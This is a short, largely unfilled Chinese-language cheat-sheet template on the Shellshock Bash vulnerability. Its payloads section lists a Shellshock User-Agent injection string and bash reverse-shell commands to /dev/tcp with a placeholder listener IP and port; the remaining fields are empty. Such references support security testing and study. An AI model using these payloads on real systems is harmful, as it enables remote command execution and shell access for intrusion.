Shell Shock

*作者: [email protected] *维护者: ** *部门: DevOps *许可证: **

概述

Shell Shock: 特权提升，远程代码执行 Unix Bash Shell 中的一系列漏洞。允许执行任意命令。

利用向量

---

有效载荷

• shellshock 用户代理 = User-Agent: () { :; } ; <$BASH_COMMAND>
• rshell 载荷 = bash -i >& /dev/tcp/127.0.0.1
  • rshell 重定向到监听器 = bash -i >& /dev/tcp/$YOUR_IP:$PORT

技巧

设计:

• 目的:
• 内容:
• 服务器:
  • 应用:
  • 数据库:
• 网络:
  • DNS:
  • 路由:
• 应用依赖:
• 依赖程序:

基本用法:

• 用法:

• 常见用例:

• 示例:

测试

测试输入

• 参数:
• 操作:

测试输出

• 输出:
• 截图:
• 视频:
• 其他:

备注：* [选项]: